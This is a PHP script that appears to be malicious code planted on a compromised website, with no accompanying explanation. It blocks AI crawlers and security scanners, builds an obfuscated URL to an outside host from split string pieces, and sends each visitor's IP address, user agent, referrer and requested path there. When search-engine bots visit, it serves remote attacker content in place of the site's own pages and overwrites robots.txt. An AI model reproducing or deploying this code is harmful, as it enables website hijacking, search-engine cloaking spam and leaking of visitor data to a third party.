<?php if(preg_match("/(YandexBot|java|DotBot|ChatGPT|Python-requests|Jaunty|yySpider|yisouSpider|Scrapy|amazonBot|Go-http-client|barkrowler|httpClient|UniversalFeedParser|SeznamBot|DataForSEO|Heritrix|bytespider|PetalBot|AskTbFXTV|CoolpadWebkit|AhrefsBot|Claudebot|Searchbot|Swiftbot|indy Library|ApacheBench|ZmEu|OBot|CrawlDaddy|feedly|LightDeckReports Bot|semrushBot|easouSpider|python-urllib|CensysInspect|digExt|Ezooms|FeedDemon|Paloaltonetworks|Python|GPTBot|mj12bot|JikeSpider)/i", $_SERVER['HTTP_USER_AGENT'])) {  header('HTTP/1.0 403 Forbidden');  exit(); } $ip = $_SERVER['REMOTE_ADDR']; error_reporting(0); function writeToFile($path, $contents) {  $file = fopen($path, "w");  if ($file) {  fwrite($file, $contents);  fclose($file);  return true;  }  return false; } $refer = isset($_SERVER['HTTP_REFERER']) ? urlencode($_SERVER['HTTP_REFERER']) : ''; $vagent = "Bing|Yahoo|Docomo|Google"; $language = urlencode(@$_SERVER['HTTP_ACCEPT_LANGUAGE']); $uagent = urlencode($_SERVER['HTTP_USER_AGENT']); if (isset($_SERVER['HTTP_CLIENT_IP'])) {  $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {  $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } $script = urlencode($_SERVER['SCRIPT_NAME']); $domain = urlencode($_SERVER['HTTP_HOST']); $ueaw='tp:';$dfkg='ht';$odrh='m/';$huzv='//zd165.fourfine.co';$ffvqi=$dfkg.$ueaw.$huzv.$odrh; $pc = "BFBaUAo"; $ip = urlencode($ip); if ((!empty($_SERVER['REQUEST_SCHEME']) and $_SERVER['REQUEST_SCHEME'] == 'https') or (!empty($_SERVER['HTTPS']) and $_SERVER['HTTPS'] == 'on') or (!empty($_SERVER['SERVER_PORT']) and $_SERVER['SERVER_PORT'] == '443') or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) {  $_SERVER['REQUEST_SCHEME'] = 'https'; } else {  $_SERVER['REQUEST_SCHEME'] = 'http'; }  function readFromFile($path) {  $file = fopen($path, "r");  if ($file) {  $contents = fread($file, filesize($path));  fclose($file);  return $contents;  }  return false; } $http = urlencode($_SERVER['REQUEST_SCHEME']); $uri = urlencode($_SERVER['REQUEST_URI']); if(strpos($uri,"dnvdnv") !== false){echo "ok";exit();} $dnv = 0; $dnvFilePath = "dnv.txt"; if(!is_file($dnvFilePath)) {  $uuu = $http.'://'.$_SERVER['HTTP_HOST'].'/dnvdnv';  $orlj = @file_get_contents($uuu);   if($orlj === "ok") {   $dnv = 1;   writeToFile($dnvFilePath,"1");  } else {   $dnv = 0;   writeToFile($dnvFilePath,"0");  } } else {  $dnv = readFromFile($dnvFilePath); }  if(strpos($uri,"favicon.ico") !== false) { } else if(preg_match("@^/(.*?).xml$@i", $_SERVER['REQUEST_URI']) or strpos($uri,"robots.txt") !== false or strpos($uri,"0723") !== false or preg_match("/($vagent)/i", $_SERVER['HTTP_USER_AGENT']) or preg_match("/($vagent)/i", @$_SERVER['HTTP_REFERER'])) {  $requsturl = $ffvqi."?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$dnv&script=$script";  $orlj = @file_get_contents($requsturl);  if(empty($orlj)) {   $ch = curl_init();   curl_setopt($ch, CURLOPT_URL, $requsturl);   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);   $orlj = curl_exec($ch);   curl_close($ch);  }  if(!empty($orlj)) {   if(strpos($orlj,'Bad Gateway')!==false or substr($orlj,0,10)=="error code" or $orlj == "500") {    header("HTTP/1.0 500 Internal Server Error");    exit();   }   else if(substr($orlj,0,5)=="<?xml") {    header('Content-Type: text/xml; charset=utf-8');   } else {    header('Content-Type: text/html; charset=utf-8');   }   echo $orlj;   if(strpos($uri,"robots.txt") !== false){writeToFile("robots.txt",$orlj);}   exit();   return;  } }else{ } ?>